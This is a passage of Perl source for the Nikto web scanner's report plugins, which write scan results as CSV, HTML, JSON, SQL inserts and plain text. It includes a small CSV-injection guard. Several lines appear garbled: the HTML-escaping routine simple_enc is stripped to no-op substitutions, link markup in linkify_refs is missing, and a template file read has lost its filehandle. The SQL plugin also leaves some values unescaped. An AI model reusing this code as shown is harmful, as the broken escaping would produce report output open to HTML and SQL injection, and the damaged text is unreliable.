"Tautology", description => "Produces a CSV report.", report_head => \&csv_open, report_host_start => \&csv_host_start, report_item => \&csv_item, report_ssl_info => \&csv_ssl_info, report_format => 'csv', copyright => "2008 Chris Sullo" }; return $id; } ############################################################################### # open output file sub csv_open { my ($file) = @_; print STDERR "+ ERROR: Output file not specified.\n" if $file eq ''; # Open file with lexical handle and produce header my $fh; open($fh, ">>", $file) || die print STDERR "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); # Write header print $fh "\"$VARIABLES{'name'} - v$VARIABLES{'version'}/$VARIABLES{'core_version'}\"\n"; return $fh; } ############################################################################### # start output sub csv_host_start { my ($handle, $mark) = @_; $mark->{'banner'} =~ s/"/\\"/g; my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; print $handle "\"" . csv_safecell($hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"\"," . "\"\"," . "\"\"," . "\"" . csv_safecell($mark->{'banner'}) . "\"\n"; return; } ############################################################################### # write SSL info sub csv_ssl_info { my ($handle, $mark) = @_; my $ssl_hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; # SSL Subject print $handle "\"" . csv_safecell($ssl_hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"000137\"," . "\"GET\"," . "\"/\"," . "\"" . csv_safecell("SSL Certificate Subject: " . ($mark->{'ssl_cert_subject'} || '')) . "\"\n"; # SSL CN if present if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { my $cn = $1; print $handle "\"" . csv_safecell($ssl_hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"000137\"," . "\"GET\"," . "\"/\"," . "\"" . csv_safecell("SSL Certificate CN: $cn") . "\"\n"; } # SSL SAN if present if ($mark->{'ssl_cert_altnames'} ne '') { print $handle "\"" . csv_safecell($ssl_hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"000137\"," . "\"GET\"," . "\"/\"," . "\"" . csv_safecell("SSL Certificate SAN: " . $mark->{'ssl_cert_altnames'}) . "\"\n"; } # SSL Ciphers print $handle "\"" . csv_safecell($ssl_hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"000137\"," . "\"GET\"," . "\"/\"," . "\"" . csv_safecell("SSL Ciphers: " . ($mark->{'ssl_cipher'} || '')) . "\"\n"; # SSL Issuer print $handle "\"" . csv_safecell($ssl_hostname) . "\"," . "\"" . csv_safecell($mark->{'ip'}) . "\"," . "\"" . csv_safecell($mark->{'port'}) . "\"," . "\"000137\"," . "\"GET\"," . "\"/\"," . "\"" . csv_safecell("SSL Certificate Issuer: " . ($mark->{'ssl_cert_issuer'} || '')) . "\"\n"; } ############################################################################### # print an item sub csv_item { my ($handle, $mark, $item) = @_; foreach my $uri (split(' ', $item->{'uri'})) { my $line = ''; my $hostname = $item->{'mark'}->{'vhost'} ? $item->{'mark'}->{'vhost'} : $item->{'mark'}->{'hostname'}; $line .= "\"" . csv_safecell($hostname) . "\","; $line .= "\"" . csv_safecell($item->{'mark'}->{'ip'}) . "\","; $line .= "\"" . csv_safecell($item->{'mark'}->{'port'}) . "\","; $line .= "\""; if ($item->{'refs'} ne '') { $line .= $item->{'refs'}; } $line .= "\","; $line .= "\""; if ($item->{'method'} ne '') { $line .= $item->{'method'}; } $line .= "\","; $line .= "\""; if (($uri ne '') && ($mark->{'root'} ne '') && ($uri !~ /^$mark->{'root'}/)) { $line .= csv_safecell($mark->{'root'}) . $uri; } else { $line .= csv_safecell($uri); } $line .= "\","; my $msg = $item->{'message'}; $uri = quotemeta($uri); my $root = quotemeta($mark->{'root'}); $msg =~ s/^$uri:\s//; $msg =~ s/^$root$uri:\s//; $msg =~ s/"/\\"/g; $line .= "\"" . csv_safecell($msg) . "\""; print $handle "$line\n"; } } ############################################################################### # prevent CSV injection attacks sub csv_safecell { my $celldata = $_[0] || return; if ($celldata =~ /^[=+@-]/) { $celldata = "'" . $celldata; } return $celldata; } 1; ================================================ FILE: program/plugins/nikto_report_html.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: HTML Reporting ############################################################################### sub nikto_report_html_init { my $id = { name => "report_html", full_name => "Report as HTML", author => "Sullo/Jabra", description => "Produces an HTML report.", report_head => \&html_head, report_summary => \&html_summary, report_host_start => \&html_host_start, report_host_end => \&html_host_end, report_item => \&html_item, report_close => \&html_close, report_ssl_info => \&html_ssl_info, report_format => 'htm', copyright => "2008 Chris Sullo" }; # load up the templates now html_open_templates(); return $id; } ############################################################################### sub html_head { my ($file) = @_; print STDERR "+ ERROR: Output file not specified.\n" if $file eq ''; # Write header for html file, return file handle my $fh; open($fh, ">>", $file) || die print STDERR "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); my $html = process_template($TEMPLATES{'htm_start'}, $mark); $html =~ s/\#NIKTODTD#/$CONFIGFILE{'NIKTODTD'}/; print $fh "$html"; return $fh; } ############################################################################### sub html_close { my ($handle, $mark) = @_; my $html = process_template($TEMPLATES{'htm_close'}, $mark); print $handle "$html\n"; close($handle); return; } ############################################################################### sub html_summary { my ($handle, $mark) = @_; my $html = process_template($TEMPLATES{'htm_summary'}, $mark); print $handle $html; return; } ############################################################################### # Store host header HTML until SSL info is available our $HTML_HOST_HEADER = undef; our $HTML_HOST_HANDLE = undef; our $HTML_HOST_MARK = undef; sub html_host_start { my ($handle, $mark) = @_; # Store handle and mark for later use when SSL info is available $HTML_HOST_HANDLE = $handle; $HTML_HOST_MARK = $mark; # Don't write yet - wait for SSL info to be available # The template will be written by html_ssl_info() or html_host_end() return; } ############################################################################### sub html_ssl_info { my ($handle, $mark) = @_; # If host header hasn't been written yet, write it now with SSL info if (defined $HTML_HOST_HANDLE) { my $html = process_template($TEMPLATES{'htm_host_head'}, $mark); print $handle "$html\n"; # Clear stored values $HTML_HOST_HEADER = undef; $HTML_HOST_HANDLE = undef; $HTML_HOST_MARK = undef; } # If header was already written by html_item, we can't update it # This is acceptable - SSL info will be missing but header is in correct position return; } ############################################################################### sub html_host_end { my ($handle, $mark) = @_; # If host header wasn't written yet (no SSL), write it now without SSL info if (defined $HTML_HOST_HANDLE) { my $html = process_template($TEMPLATES{'htm_host_head'}, $HTML_HOST_MARK); print $HTML_HOST_HANDLE "$html\n"; # Clear stored values $HTML_HOST_HEADER = undef; $HTML_HOST_HANDLE = undef; $HTML_HOST_MARK = undef; } my $html = process_template($TEMPLATES{'htm_end'}, $mark); print $handle "$html\n"; return; } ############################################################################### sub html_item { my ($handle, $mark, $item) = @_; # If host header hasn't been written yet, write it now (without SSL info) # This ensures the header appears before any items if (defined $HTML_HOST_HANDLE) { # Use the stored mark which has the initial host info my $html = process_template($TEMPLATES{'htm_host_head'}, $HTML_HOST_MARK); print $handle "$html\n"; # Clear stored values $HTML_HOST_HEADER = undef; $HTML_HOST_HANDLE = undef; $HTML_HOST_MARK = undef; } my $html = process_template($TEMPLATES{'htm_host_item'}, $mark, $item); print $handle "$html\n"; return; } ############################################################################### sub html_open_templates { foreach my $t (dirlist($CONFIGFILE{'TEMPLATEDIR'}, "htm.*")) { open(T, "<$CONFIGFILE{'TEMPLATEDIR'}/$t"); my @TEMPLATE = ; close(T); my $T = join("", @TEMPLATE); $t =~ s/\..*$//; $TEMPLATES{$t} = $T; } return; } ############################################################################### sub process_template { my ($template, $mark, $item) = @_; my %variables; my $protocol = "http"; if ($mark->{'ssl'}) { $protocol .= "s"; } my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; $variables{"#TEMPL_HCTR#"} = $VARIABLES{'TEMPL_HCTR'}; $variables{"#TEMPL_END#"} = date_disp($mark->{'end_time'}); $variables{"#TEMPL_HOSTNAME#"} = simple_enc($hostname); $variables{"#TEMPL_IP#"} = simple_enc($mark->{'ip'}); $variables{"#TEMPL_ITEMS_TESTED#"} = $COUNTERS{'total_checks'}; $variables{"#TEMPL_PORT#"} = $mark->{'port'}; $variables{"#TEMPL_NIKTO_VER#"} = $VARIABLES{'version'}; $variables{"#TEMPL_BANNER#"} = simple_enc($mark->{'banner'}); $variables{"#TEMPL_NIKTO_CLI#"} = simple_enc($CLI{'all_options'}); $variables{"#TEMPL_CTR#"} = $COUNTERS{'total_checks'}; $variables{"#TEMPL_NIKTO_HOSTS_TESTED#"} = $COUNTERS{'hosts_completed'}; # Create base URL once - prefer hostname (vhost if set), fall back to IP if hostname empty # Consistent with nikto's display_name logic: prefer name, fall back to IP my $base_host = ($hostname ne "") ? $hostname : $mark->{'ip'}; my $base_url = $protocol . "://" . simple_enc($base_host) . ":" . $mark->{'port'} . simple_enc($mark->{'root'}); # IP-specific link (for host header template) my $link_ip = $protocol . "://" . simple_enc($mark->{'ip'}) . ":" . $mark->{'port'} . simple_enc($mark->{'root'}); if ($link_ip !~ /\/$/) { $link_ip .= '/'; } $variables{"#TEMPL_LINK_IP#"} = $link_ip; # Base link (hostname preferred, IP fallback) - reuse for both TEMPL_LINK_NAME and TEMPL_ITEM_NAME_LINK $variables{"#TEMPL_LINK_NAME#"} = $base_url; $variables{"#TEMPL_ITEMS_FOUND#"} = $mark->{'total_vulns'}; $variables{"#TEMPL_SCAN_START#"} = localtime($COUNTERS{'scan_start'}); $variables{"#TEMPL_SCAN_END#"} = localtime($COUNTERS{'scan_end'}); $variables{"#TEMPL_SCAN_ELAPSED#"} = $COUNTERS{'scan_elapsed'} . " seconds"; $variables{"#TEMPL_STATISTICS#"} = "$COUNTERS{'totalrequests'} requests, $mark->{'total_errors'} errors, $mark->{'total_vulns'} findings"; $variables{"#TEMPL_START#"} = date_disp($mark->{'start_time'}); $variables{"#TEMPL_ELAPSED#"} = $mark->{'end_time'} - $mark->{'start_time'}; my $references = linkify_refs($item->{'refs'}) || ''; $variables{"#TEMPL_REFERENCES#"} = $references; # Process References row - extract row HTML from template and conditionally show/hide # HTML structure is in template file; we process it like SSL rows # Only process if this is an item template (has TEMPL_REFERENCES) if ($template =~ /#TEMPL_REFERENCES#/) { my $host_item_template = $TEMPLATES{'htm_host_item'} || ''; my ($references_row_tmpl) = $host_item_template =~ /#TEMPL_REFERENCES_ROW#\s*(.*?<\/tr>)/s; if ($references_row_tmpl && $references ne '') { # Process row template with variable substitution my $row = $references_row_tmpl; $row =~ s/#TEMPL_REFERENCES#/$references/g; $variables{"#TEMPL_REFERENCES_ROW_REPLACE#"} = $row; } else { # Hide References row if no references $variables{"#TEMPL_REFERENCES_ROW_REPLACE#"} = ""; } # Set marker variable to empty - it will be replaced along with row HTML $variables{"#TEMPL_REFERENCES_ROW#"} = ""; } else { # Not an item template, ensure variables are set to avoid warnings $variables{"#TEMPL_REFERENCES_ROW_REPLACE#"} = ""; $variables{"#TEMPL_REFERENCES_ROW#"} = ""; } # SSL Info template variables - populate if SSL info is available # HTML structure is in the template; we process rows like other template variables if ($mark->{'ssl'} && defined $mark->{'ssl_cipher'}) { my $ssl_subject = simple_enc($mark->{'ssl_cert_subject'} || ''); my $ssl_issuer = simple_enc($mark->{'ssl_cert_issuer'} || ''); my $ssl_ciphers = simple_enc($mark->{'ssl_cipher'} || ''); my $ssl_altnames = simple_enc($mark->{'ssl_cert_altnames'} || ''); my $ssl_cn = ''; if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { $ssl_cn = simple_enc($1); } # Populate values - HTML structure is in template $variables{"#TEMPL_SSL_SUBJECT#"} = $ssl_subject; $variables{"#TEMPL_SSL_CN#"} = $ssl_cn; $variables{"#TEMPL_SSL_SAN#"} = $ssl_altnames; $variables{"#TEMPL_SSL_CIPHERS#"} = $ssl_ciphers; $variables{"#TEMPL_SSL_ISSUER#"} = $ssl_issuer; # Extract row HTML from template - HTML structure is in template file, extract and process it # Row templates match the structure in htm_host_head.tmpl my $host_head_template = $TEMPLATES{'htm_host_head'} || ''; my ($ssl_subject_row_tmpl) = $host_head_template =~ /#TEMPL_SSL_SUBJECT_ROW#\s*(.*?<\/tr>)/s; my ($ssl_cn_row_tmpl) = $host_head_template =~ /#TEMPL_SSL_CN_ROW#\s*(.*?<\/tr>)/s; my ($ssl_san_row_tmpl) = $host_head_template =~ /#TEMPL_SSL_SAN_ROW#\s*(.*?<\/tr>)/s; my ($ssl_ciphers_row_tmpl) = $host_head_template =~ /#TEMPL_SSL_CIPHERS_ROW#\s*(.*?<\/tr>)/s; my ($ssl_issuer_row_tmpl) = $host_head_template =~ /#TEMPL_SSL_ISSUER_ROW#\s*(.*?<\/tr>)/s; # Process row templates with variable substitution - HTML structure comes from template file # Store processed row HTML to replace marker + row HTML in template if ($ssl_subject_row_tmpl) { my $row = $ssl_subject_row_tmpl; $row =~ s/#TEMPL_SSL_SUBJECT#/$ssl_subject/g; $variables{"#TEMPL_SSL_SUBJECT_ROW_REPLACE#"} = $row; } else { $variables{"#TEMPL_SSL_SUBJECT_ROW_REPLACE#"} = ""; } if ($ssl_cn_row_tmpl && $ssl_cn ne '') { my $row = $ssl_cn_row_tmpl; $row =~ s/#TEMPL_SSL_CN#/$ssl_cn/g; $variables{"#TEMPL_SSL_CN_ROW_REPLACE#"} = $row; } else { $variables{"#TEMPL_SSL_CN_ROW_REPLACE#"} = ""; } if ($ssl_san_row_tmpl && $ssl_altnames ne '') { my $row = $ssl_san_row_tmpl; $row =~ s/#TEMPL_SSL_SAN#/$ssl_altnames/g; $variables{"#TEMPL_SSL_SAN_ROW_REPLACE#"} = $row; } else { $variables{"#TEMPL_SSL_SAN_ROW_REPLACE#"} = ""; } if ($ssl_ciphers_row_tmpl) { my $row = $ssl_ciphers_row_tmpl; $row =~ s/#TEMPL_SSL_CIPHERS#/$ssl_ciphers/g; $variables{"#TEMPL_SSL_CIPHERS_ROW_REPLACE#"} = $row; } else { $variables{"#TEMPL_SSL_CIPHERS_ROW_REPLACE#"} = ""; } if ($ssl_issuer_row_tmpl) { my $row = $ssl_issuer_row_tmpl; $row =~ s/#TEMPL_SSL_ISSUER#/$ssl_issuer/g; $variables{"#TEMPL_SSL_ISSUER_ROW_REPLACE#"} = $row; } else { $variables{"#TEMPL_SSL_ISSUER_ROW_REPLACE#"} = ""; } # Set marker variables to empty - they'll be replaced along with row HTML $variables{"#TEMPL_SSL_SUBJECT_ROW#"} = ""; $variables{"#TEMPL_SSL_CN_ROW#"} = ""; $variables{"#TEMPL_SSL_SAN_ROW#"} = ""; $variables{"#TEMPL_SSL_CIPHERS_ROW#"} = ""; $variables{"#TEMPL_SSL_ISSUER_ROW#"} = ""; } else { # Hide SSL rows - replace marker + row HTML with empty string $variables{"#TEMPL_SSL_SUBJECT_ROW_REPLACE#"} = ""; $variables{"#TEMPL_SSL_CN_ROW_REPLACE#"} = ""; $variables{"#TEMPL_SSL_SAN_ROW_REPLACE#"} = ""; $variables{"#TEMPL_SSL_CIPHERS_ROW_REPLACE#"} = ""; $variables{"#TEMPL_SSL_ISSUER_ROW_REPLACE#"} = ""; # Set marker variables to empty $variables{"#TEMPL_SSL_SUBJECT_ROW#"} = ""; $variables{"#TEMPL_SSL_CN_ROW#"} = ""; $variables{"#TEMPL_SSL_SAN_ROW#"} = ""; $variables{"#TEMPL_SSL_CIPHERS_ROW#"} = ""; $variables{"#TEMPL_SSL_ISSUER_ROW#"} = ""; } $variables{"#ID#"} = $item->{'nikto_id'}; # Scanner Messages Handling $variables{"#TEMPL_SMMSG#"} = simple_enc($item->{'message'}); # Positives Handling if ($template =~ /\#TEMPL_MSG#/) { my $msg = simple_enc($item->{'message'}); # Message & handling for customized html output # 740000 = multiple index files -- linkify file names if ($item->{'nikto_id'} == 740000) { $item->{'message'} =~ /^(.*: )(.*)$/; $msg = simple_enc($1); my @links; foreach my $f (parse_csv($2)) { #@files) { $f =~ s/\s//g; next if $f eq ''; my $escaped_f = simple_enc($f); my $escaped_display = simple_enc($mark->{'display_name'}); push(@links, "{'port'}/$escaped_f\">$escaped_f" ); } $msg .= join(", ", @links); } my $uri = $item->{'uri'}; if (($uri ne '') && ($uri !~ /^$mark->{'root'}/)) { $uri = $mark->{'root'} . $uri; } $variables{"#TEMPL_URI#"} = simple_enc($uri); $variables{"#TEMPL_MSG#"} = $msg; $variables{"#TEMPL_HTTP_METHOD#"} = simple_enc($item->{'method'}); # Reuse base_url for item links - prefer hostname, fall back to IP $variables{"#TEMPL_ITEM_NAME_LINK#"} = $protocol . "://" . simple_enc($base_host) . ":" . $mark->{'port'} . $variables{"#TEMPL_URI#"}; } # Replace marker + row HTML in template with processed row HTML (or empty string) # Template has: #TEMPL_SSL_SUBJECT_ROW#\n... # Replace with: processed row HTML (or empty to hide) # Do this BEFORE main variable substitution so we can match the template variable patterns # Use /s flag to match newlines with . $template =~ s/#TEMPL_SSL_SUBJECT_ROW#\s*SSL Certificate Subject<\/td>#TEMPL_SSL_SUBJECT#<\/td><\/tr>/#TEMPL_SSL_SUBJECT_ROW_REPLACE#/s; $template =~ s/#TEMPL_SSL_CN_ROW#\s*SSL Certificate CN<\/td>#TEMPL_SSL_CN#<\/td><\/tr>/#TEMPL_SSL_CN_ROW_REPLACE#/s; $template =~ s/#TEMPL_SSL_SAN_ROW#\s*SSL Certificate SAN<\/td>#TEMPL_SSL_SAN#<\/td><\/tr>/#TEMPL_SSL_SAN_ROW_REPLACE#/s; $template =~ s/#TEMPL_SSL_CIPHERS_ROW#\s*SSL Ciphers<\/td>#TEMPL_SSL_CIPHERS#<\/td><\/tr>/#TEMPL_SSL_CIPHERS_ROW_REPLACE#/s; $template =~ s/#TEMPL_SSL_ISSUER_ROW#\s*SSL Certificate Issuer<\/td>#TEMPL_SSL_ISSUER#<\/td><\/tr>/#TEMPL_SSL_ISSUER_ROW_REPLACE#/s; # Replace References row marker + HTML with processed row HTML (or empty string) # Template has: #TEMPL_REFERENCES_ROW#\n ... (multi-line with indentation) # Match the exact format with spaces and newlines - use .*? to match across lines if ($template =~ /#TEMPL_REFERENCES_ROW#/) { $template =~ s/#TEMPL_REFERENCES_ROW#\s*.*?References<\/td>.*?#TEMPL_REFERENCES#<\/td>.*?<\/tr>/#TEMPL_REFERENCES_ROW_REPLACE#/s; } # Now process main template with all variables (including processed SSL row replacements) foreach my $var (keys %variables) { my $replacement = $variables{$var}; # Escape $ in replacement to prevent backreference interpretation ($1, $&, etc.) $replacement =~ s/\$/\$\$/g; $template =~ s/\Q$var\E/$replacement/g; } return $template; } ############################################################################### sub linkify_refs { my $refs = $_[0] || return; my @rs = split(/ /, $refs); for (my $i = 0 ; $i <= $#rs ; $i++) { $r = $rs[$i]; my $escaped_r = simple_enc($r); if ($r =~ /^OSVDB-(\d+)$/) { my $id = $1; $r = "$escaped_r"; } elsif ($r =~ /^CVE-\d{4}-\d{3,4}/) { my $escaped_url_r = simple_enc($r); $r = "$escaped_r"; } elsif ($r =~ /^MS-\d+-\d+/i) { my $escaped_url_r = simple_enc($r); $r = "$escaped_r"; } elsif ($r =~ /^(CA-\d{4}-\d{2})/) { my $escaped_ca = simple_enc($1); $r = "$escaped_r"; } elsif ($r =~ /^CWE-\d+/) { my $escaped_url_r = simple_enc($r); $r = "$escaped_r"; } elsif ($r =~ /^http/) { my $escaped_url_r = simple_enc($r); $r = "$escaped_r"; } $rs[$i] = $r; } my $out = join("
", @rs); $out =~ s/
$//; return $out; } ############################################################################### sub simple_enc { my $var = $_[0] || return; $var =~ s/&/&/g; $var =~ s//>/g; $var =~ s/"/"/g; $var =~ s/'/'/g; return $var; } 1; ================================================ FILE: program/plugins/nikto_report_json.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: JSON Reporting - Multi-host support ############################################################################### our $JSONRPT_ALL = []; # Arrayref to hold all hosts' reports our $JSONRPT_CURR = undef; # Scalarref to current host's report use JSON; use Time::Piece; use Time::Seconds; ############################################################################### sub nikto_report_json_init { use JSON; my $id = { name => "report_json", full_name => "JSON reports", author => "Sullo", description => "Produces a JSON report.", report_head => \&json_open, report_host_start => \&json_host_start, report_host_end => \&json_host_end, report_close => \&json_close, report_item => \&json_item, report_ssl_info => \&json_ssl_info, report_format => 'json', copyright => "2025 Chris Sullo" }; return $id; } ############################################################################### # open output file sub json_open { my ($file) = @_; # Open file with lexical handle (read-write mode for JSON) my $fh; open($fh, "+>", $file) || die "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); return $fh; } ############################################################################### # start output for a host sub json_host_start { my ($handle, $mark) = @_; # Get current time with timezone my $current_time = localtime; my $start_time = $mark->{'start_time'} ? localtime($mark->{'start_time'}) : $current_time; $JSONRPT_CURR = { host => $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}, ip => $mark->{'ip'}, port => $mark->{'port'}, server_banner => $mark->{'banner'}, start_time => $start_time->strftime('%Y-%m-%d %H:%M:%S %z'), vulnerabilities => [] }; # Add current host report to the array of all hosts push @$JSONRPT_ALL, $JSONRPT_CURR; return; } ############################################################################### # write SSL info sub json_ssl_info { my ($handle, $mark) = @_; # Update the current host report with SSL info return unless defined $JSONRPT_CURR; # Extract CN from subject my $cn = ''; if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { $cn = $1; } $JSONRPT_CURR->{'ssl_info'} = { ciphers => $mark->{'ssl_cipher'} || '', issuer => $mark->{'ssl_cert_issuer'} || '', subject => $mark->{'ssl_cert_subject'} || '', cn => $cn, altnames => $mark->{'ssl_cert_altnames'} || '' }; } ############################################################################### # end output for a host sub json_host_end { my ($handle, $mark) = @_; my $end_time; if ($mark->{'end_time'} eq '') { $end_time = localtime; } else { $end_time = localtime($mark->{'end_time'}); } $JSONRPT_CURR->{'end_time'} = $end_time->strftime('%Y-%m-%d %H:%M:%S %z'); return; } ############################################################################### # close output file sub json_close { my ($handle, $mark) = @_; my $json_encoder = JSON->new->utf8->canonical->pretty->convert_blessed; my $json_output = $json_encoder->encode($JSONRPT_ALL); print $handle $json_output; close($handle); return; } ############################################################################### # print an item sub json_item { my ($handle, $mark, $item) = @_; my $uri = $item->{'uri'}; if (($uri ne '') && ($mark->{'root'} ne '') && ($uri !~ /^$mark->{'root'}/)) { $uri = $mark->{'root'} . $uri; } my $msg = $item->{'message'}; my $uri2 = quotemeta($uri); my $root = quotemeta($mark->{'root'}); $msg =~ s/^$uri2:\s//; $msg =~ s/^$root$uri2:\s//; push @{ $JSONRPT_CURR->{'vulnerabilities'} }, { id => $item->{'nikto_id'}, references => $item->{'refs'}, method => $item->{'method'}, url => $uri, msg => $msg }; } 1; ================================================ FILE: program/plugins/nikto_report_sqlg.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: SQL Reporting ############################################################################### # Sample table create (mysql): # create table nikto_table (id int(11) not null auto_increment primary key, # scanid varchar(32), testid varchar(6) not null, ip varchar(15), # hostname text, port int(5), tls tinyint(1), refs text, httpmethod text, # uri text, message text, request blob, response mediumblob); # See documentation/nikto_schema_mysql.sql and nikto_schema_postgresql.sql for complete schemas ############################################################################### sub nikto_report_sqlg_init { my $id = { name => "report_sqlg", full_name => "Generic SQL reports", author => "Sullo", description => "Produces SQL inserts into a generic database.", report_head => \&sqlg_open, report_host_start => \&sqlg_host_start, report_item => \&sqlg_item, report_ssl_info => \&sqlg_ssl_info, report_format => 'sql', copyright => "2013 Chris Sullo" }; return $id; } ############################################################################### # open output file sub sqlg_open { my ($file) = @_; print STDERR "+ ERROR: Output file not specified.\n" if $file eq ''; # Open file with lexical handle and produce header my $fh; open($fh, ">>", $file) || die print STDERR "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); # Write header my $opt = $CLI{'all_options'}; $opt =~ s/'/\\'/g; print $fh "# $VARIABLES{'name'} - v$VARIABLES{'version'}/$VARIABLES{'core_version'}\n"; print $fh "# Options: $opt\n"; print $fh "# Start Time: " . localtime($COUNTERS{'scan_start'}) . "\n"; print $fh "# End Time: " . localtime($COUNTERS{'scan_end'}) . "\n"; print $fh "\n"; return $fh; } ############################################################################### # start output sub sqlg_host_start { my ($handle, $mark) = @_; my $banner = $mark->{'banner'} || ''; my $ssl = 0; if (defined $mark->{'ssl_cipher'}) { $ssl = 1; } my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; my $scanid = $mark->{'scanid'} || ''; my $msg = $banner ne '' ? "Server banner: $banner" : "Host scan started"; my $ip = $mark->{'ip'}; $ip =~ s/'/\\'/g; $hostname =~ s/'/\\'/g; $msg =~ s/'/\\'/g; $scanid =~ s/'/\\'/g; my $sql = "insert into nikto_table (scanid, testid, ip, hostname, port, tls, refs, httpmethod, uri, message) values("; $sql .= "'$scanid','999958','$ip','$hostname','$mark->{'port'}','$ssl','0','GET','/','$msg');\n"; print $handle $sql; return; } ############################################################################### # write SSL info sub sqlg_ssl_info { my ($handle, $mark) = @_; my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; my $ssl_cipher = $mark->{'ssl_cipher'} || ''; my $ssl_subject = $mark->{'ssl_cert_subject'} || ''; my $ssl_issuer = $mark->{'ssl_cert_issuer'} || ''; my $ssl_altnames = $mark->{'ssl_cert_altnames'} || ''; my $ssl = defined $mark->{'ssl_cipher'} ? 1 : 0; # Extract CN from subject my $ssl_cn = ''; if ($ssl_subject =~ /CN=([^$ \/]+)/) { $ssl_cn = $1; } # Build combined SSL info message my $ssl_message = "SSL/TLS Information - "; $ssl_message .= "Subject: $ssl_subject" if $ssl_subject ne ''; $ssl_message .= "; CN: $ssl_cn" if $ssl_cn ne ''; $ssl_message .= "; SAN: $ssl_altnames" if $ssl_altnames ne ''; $ssl_message .= "; Ciphers: $ssl_cipher" if $ssl_cipher ne ''; $ssl_message .= "; Issuer: $ssl_issuer" if $ssl_issuer ne ''; $ssl_message =~ s/'/\\'/g; # Single INSERT statement with all SSL info my $sql = "insert into nikto_table (scanid, testid, ip, hostname, port, tls, refs, httpmethod, uri, message) values("; $sql .= "'$mark->{'scanid'}','000137','$mark->{'ip'}','$hostname','$mark->{'port'}','$ssl','0','GET','/','$ssl_message');\n"; print $handle $sql; } ############################################################################### # print an item sub sqlg_item { my ($handle, $mark, $item) = @_; foreach my $uri (split(' ', $item->{'uri'})) { my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; $hostname = quotemeta($hostname); my $httpmethod = quotemeta($item->{'method'}); my $msg = quotemeta($item->{'message'}); my $root = quotemeta($mark->{'root'}); my $rootq = quotemeta($mark->{'root'}); # temporary, just for regex $uri = quotemeta($uri); my $ssl = $mark->{'ssl_cipher'} ? 1 : 0; # Get scanid (generated by core in report_host_start) my $scanid = $item->{'mark'}->{'scanid'} || ''; $scanid =~ s/'/\\'/g; # Escape single quotes my $sql = "insert into nikto_table (scanid, testid, ip, hostname, port, tls, refs, httpmethod, uri, message, request, response) values("; $sql .= "'$scanid','$item->{'nikto_id'}','$item->{'mark'}->{'ip'}','$hostname','$item->{'mark'}->{'port'}','$ssl',"; $sql .= "'$item->{'refs'}','$httpmethod',"; if (($uri ne '') && ($root ne '') && ($uri !~ /^$rootq/)) { $sql .= "'" . $root . $uri . "',"; } else { $sql .= "'$uri',"; } $msg =~ s/^$uri:\s//; $msg =~ s/^$rootq$uri:\s//; $sql .= "'$msg',"; # Rebuild the request from the hash -- no need to escape as it's base64 encoded my $req = rebuild_request($item->{'request'}, 1, 48000); $sql .= "'" . LW2::encode_base64($req, '') . "',"; # response content my $response = rebuild_response($$item{'response'}, 1, 12000000); $sql .= "'" . LW2::encode_base64($response, '') . "');"; print $handle "$sql\n"; } } 1; ================================================ FILE: program/plugins/nikto_report_text.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Text Reporting ############################################################################### sub nikto_report_text_init { my $id = { name => "report_text", full_name => "Text reports", author => "Tautology", description => "Produces a text report.", report_head => \&text_open, report_host_start => \&text_host, report_item => \&text_item, report_ssl_info => \&text_ssl_info, report_format => 'txt', copyright => "2008 Chris Sullo" }; return $id; } sub text_open { my ($file) = @_; print STDERR "+ ERROR: Output file not specified.\n" if $file eq ''; # Open file with lexical handle and produce header my $fh; open($fh, ">>", $file) || die print STDERR "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); # Write header print $fh "- $VARIABLES{'name'} v$VARIABLES{'version'}/$VARIABLES{'core_version'}\n"; return $fh; } sub text_host { my ($handle, $mark) = @_; my ($curr_host, $curr_port); my $hostname = $mark->{'vhost'} ? $mark->{'vhost'} : $mark->{'hostname'}; print $handle "+ Target Host: $hostname\n"; print $handle "+ Target Port: $mark->{port}\n"; } sub text_ssl_info { my ($handle, $mark) = @_; print $handle "+ SSL Info: Subject: $mark->{'ssl_cert_subject'}\n"; # Extract and display CN separately my $cn = ''; if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { $cn = $1; print $handle " CN: $cn\n"; } # Display SAN if present if ($mark->{'ssl_cert_altnames'} ne '') { print $handle " SAN: $mark->{'ssl_cert_altnames'}\n"; } print $handle " Ciphers: $mark->{'ssl_cipher'}\n"; print $handle " Issuer: $mark->{'ssl_cert_issuer'}\n"; } sub text_item { my ($handle, $mark, $item) = @_; foreach my $uri (split(' ', $item->{uri})) { my $line = "+ "; if ($item->{method}) { $line .= $item->{method} . " " } if (($uri ne '') && ($uri !~ 